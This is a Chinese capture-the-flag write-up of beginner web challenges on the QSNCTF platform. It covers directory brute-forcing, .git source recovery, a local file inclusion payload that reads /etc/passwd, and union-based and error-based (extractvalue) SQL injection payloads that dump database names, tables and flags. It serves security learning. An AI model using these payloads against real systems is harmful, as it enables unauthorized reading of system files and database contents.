QSNCTF-WEB做题记录(2)

news/2025/2/26 18:30:36

[第一章 web入门]常见的搜集

来自 <天狩CTF竞赛平台>

1,首先就是对网站进行目录枚举爆破

dirsearch -u http://challenge.qsnctf.com:31616 -x 404,403

得到如下的目录,分别查看一下内容

/.DS_Store                                       

                           

/index.php~ 

第二部分:flag2:s_v3ry_im

/robots.txt

/flag1_is_her3_fun.txt

第一部分:n1book{info_1

/.index.php.swp      

第三个部分:p0rtant_hack}

组成n1book{info_1s_v3ry_imp0rtant_hack}

[第一章 web入门]粗心的小李

来自 <天狩CTF竞赛平台>

1,.git泄露漏洞。

GitHack 是一种文件夹泄露漏洞。.git它从 .git 文件夹重建源代码,同时保持目录结构不变。GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等web安全漏洞 https://github.com/lijiejie/GitHack

2,命令示例:python GitHack.py http://还原链接/.git/

3,输入这个命令之后,会在challenge.qsnctf.com_32321

4,然后在该文件夹下发现生产的文件GitHack-master\challenge.qsnctf.com_32321\index.html

n1book{git_looks_s0_easyfun}

第三题:EasyInclude 2024

来自 <天狩CTF竞赛平台>

1,观察网站页面,提示存在include函数

$_GET['inc']: 这是从 URL 参数中获取一个值。也就是说,用户可以在 URL 中传递一个名为 inc 的参数,PHP 脚本将会根据这个参数的值来决定包含哪个文件。

2,由此构造payload:?inc=../../../../etc/passwd

成功包含了/etc/passwd文件,应该是存在本地文件包含漏洞(LFI,local file include)

3,构造语句payload:?inc=/flag

轻松包含了flag{b6408a9551ef4755abbd333bf9694865}

[第一章 web入门]SQL注入-1

来自 <天狩CTF竞赛平台>

1,观察靶场,能够通过?id=1传入参数进而改变网站页面,首先确定页面正常回显的情况

2,然后传入?id=1',不回显证明发生报错,传入?id=1",回显正常

?id=1' --+ 传入这个参数正常回显,说明此前单引号会破坏SQL查询语句的闭合,而现在使用--+注释掉需要闭合的单引号,使得?id=1'能够完成闭合。由此判断靶场存在单引号字符型sql注入漏洞

3, 使用order by语句判断数据表存在几列

ORDER BY 操作符用于对查询结果进行排序。它根据指定的列对数据进行升序或降序排列。默认情况下,ORDER BY 以升序(ASC)排序,但你也可以显式地指定升序或降序排序。

语法:

SELECT column1, column2, ...
FROM table_name
ORDER BY column1 [ASC|DESC], column2 [ASC|DESC], ...;

  • column1, column2, ...: 要排序的列。
  • ASC:升序(默认),从小到大排列。
  • DESC:降序,从大到小排列。

payload:?id=1' order by 1,2,3 --+ 不报错

payload:?id=1' order by 1,2,3,4 --+ 不报错

说明数据表的列数小于四列,大于等于三列,推断数据库列数为3

4,使用union操作符推断sql注入漏洞的回显点在哪几列

payload:?id=-1' union select 1,2,3 --+

回显出来2,3说明回显点在被查询的第二第三列

5,通过数据库函数爆出数据库名和版本号

payload:?id=-1' union select 1,database(),version() --+

6,爆数据表名fl4g,notes

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

爆出fl4g数据表下的列名fllllag

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'--+

爆出notes数据表下的列名id,title,content

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='notes'--+

7,最后直接在数据表fl4g查询到flag

?id=-1' union select 1,database(), group_concat(fllllag) from fl4g --+

n1book{union_select_is_so_cool}

[第一章 web入门]SQL注入-2

来自 <天狩CTF竞赛平台>

1,题目提示请访问 /login.php /user.php

访问/login.php是一个登录网页

输入密码然后使用burpsuite抓包,大抵推断是一个POST型SQL注入

2,查看页面源代码发现了题目提示

右键发送到repeater模块,然后按照要求添加

  • "error": 1:error 字段的值是 1,通常表示发生了错误或异常。一般约定 0 表示成功,1 表示失败。
  • "msg": "\u8d26\u53f7\u4e0d\u5b58\u5728":msg 字段的值是一个 Unicode 编码的字符串。解码后,\u8d26\u53f7\u4e0d\u5b58\u5728 代表的中文是 "账户不存在"。

3,然后判断注入类型:

name=123&pass=123,回显是\u8d26\u53f7\u4e0d\u5b58\u5728,unicode解码就是账号不存在。

name=admin&pass=123,回显是\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef,解码就是账号或密码错误。

4,这就可以证明账号 admin是存在的,那么注入类型为 字符型注入。经过和报错注入的联合判断,我们可以得出闭合方式为单引号。爆出数据库库名

1' and extractvalue(1,concat(0x7e,database()))--+

  • extractvalue():这是 MySQL 中的一个函数,它用来从 XML 数据中提取指定节点的值。它有两个参数,第一个参数是 XML 文档,第二个参数是 XPath 表达式。在 SQL 注入中,攻击者可以利用这个函数执行任意的 XML 操作,从而在数据库中执行一些恶意行为。
  • 1:extractvalue() 的第一个参数通常是 XML 数据。在这里,1 被用作一个“虚拟的” XML 数据。MySQL 将它当作一个无效的 XML 文档,并尝试在其上执行 XPath 操作。
  • concat(0x7e, database()):这个部分使用 concat() 函数将两个部分拼接起来。
    • 0x7e 是一个十六进制值,表示字符 ~(波浪号)。这是一个分隔符,用于在最终输出中分隔不同的内容。
    • database() 是 MySQL 的一个内置函数,用于获取当前数据库的名称。
      因此,concat(0x7e, database()) 会将字符 ~ 和当前数据库的名称拼接起来。例如,如果当前数据库是 test_db,则结果是 ~test_db。
  • extractvalue(1, concat(0x7e, database())):最终,这个函数会尝试从虚拟的 XML 文档 1 中提取节点 ~test_db(假设当前数据库为 test_db)。由于 extractvalue() 的目标是执行 XML 查询,它会导致一个错误或不正确的行为,但攻击者通常期望数据库返回当前数据库的名称作为结果,或造成 SQL 错误信息泄露。

数据库名就是note

5,爆破出数据库当中的数据表(需要进行绕过)

admin' and extractvalue(1,concat(0x7e,(Select group_concat(table_name)from information_schema.tables where table_schema=database())))--+

爆出数据表有fl4g,users

6,然后爆出数据表fl4g的字段名

admin'and extractvalue(1,concat(0x7e,(Select group_concat(column_name)from information_schema.columns where table_name='fl4g'))) --+

7,最后成功的爆出来flag

admin'and extractvalue(1,concat(0x7e,(Select flag from fl4g))) --+

n1book{login_sqli_is_nice}


http://www.niftyadmin.cn/n/5869059.html

相关文章

博客系统笔记总结 2( Linux 相关)

Linux 基本使用和程序部署 基本命令 文件操作 显示当前目录下的文件 ls&#xff1a;显示当前目录下的文件 ll&#xff1a;以列表的形式展示&#xff0c;包括隐藏文件 进入目录 && 显示当前路径 cd&#xff1a;进入目录&#xff08;后面跟相对路径或者绝对路径&…

Apache DolphinScheduler系列1-单节点部署及测试报告

文章目录 整体说明一、部署环境二、版本号三、部署方案四、部署步骤4.1、上传部署包4.2、创建外部数据库4.3、修改元数据库配置4.4、上传MySQLl驱动程序4.5、初始化外部数据库4.6、启停服务4.7、访问页面五、常见问题及解决方式5.1、时间不一致5.2、异常终止5.3、大量日志5.4、…

学习Flask:Day 2:模板与表单开发

学习目标&#xff1a;前后端混合开发 # 添加模板渲染 from flask import render_templateapp.route(/profile) def profile():return render_template(profile.html, username"开发者",skills[Vue, JavaScript]) ✅ 实践任务&#xff1a; 创建templates目录 使用J…

为什么MySQL选择使用B+树作为索引结构

B树是MySQL最常见的索引结构&#xff0c;大部分存储引擎都支持 B 树索引。 相对于其他竞争力强的数据结构&#xff0c;B树都有战胜它们成为大多时候MySQL选择使用索引结构的理由&#xff1a; 第一个强有力的竞争对手是B树&#xff1a; 1. B树每个节点都存储了完整的数据&…

Postman参数介绍

Params 查询参数 Params 请求url信息&#xff0c;会补充请求的url 在 Postman 中处理查询参数&#xff08;Query Parameters&#xff09; 查询参数以键值对形式附加于 URL 末端&#xff0c;用于调整请求结果&#xff0c;在 Postman 中的传递通过用户友好的界面轻松完成。 首…

【滑动窗口算法】-- 长度最小的子数组

文章目录 1. 题目2. 题目解析3. 代码 1. 题目 在线oj 给定一个含有 n 个正整数的数组和一个正整数 target 。 找出该数组中满足其总和大于等于 target 的长度最小的 子数组 [numsl, numsl1, ..., numsr-1, numsr] &#xff0c;并返回其长度。如果不存在符合条件的子数组&…

Java如何解决彻底解决,大数据量excel导出内存溢出问题

一、核心工具选型&#xff1a;流式处理框架 1. 使用EasyExcel&#xff08;推荐&#xff09; 阿里巴巴开源的EasyExcel基于流式读写设计&#xff0c;通过逐行处理数据避免内存堆积。 优势&#xff1a; 内存占用低&#xff0c;支持百万级数据导出&#xff1b; 内置分页写入、自…

办公自动化|xlwings使用公式和函数

1. 介绍 xlwings xlwings 是一个强大的 Python 库&#xff0c;能够用于 Excel 自动化操作。除了基本的数据读写和格式设置&#xff0c;xlwings 还支持写入 Excel 公式、调用内置函数以及创建自定义函数&#xff0c;使得 Python 与 Excel 之间的交互更加灵活。 2. 在单元格中使…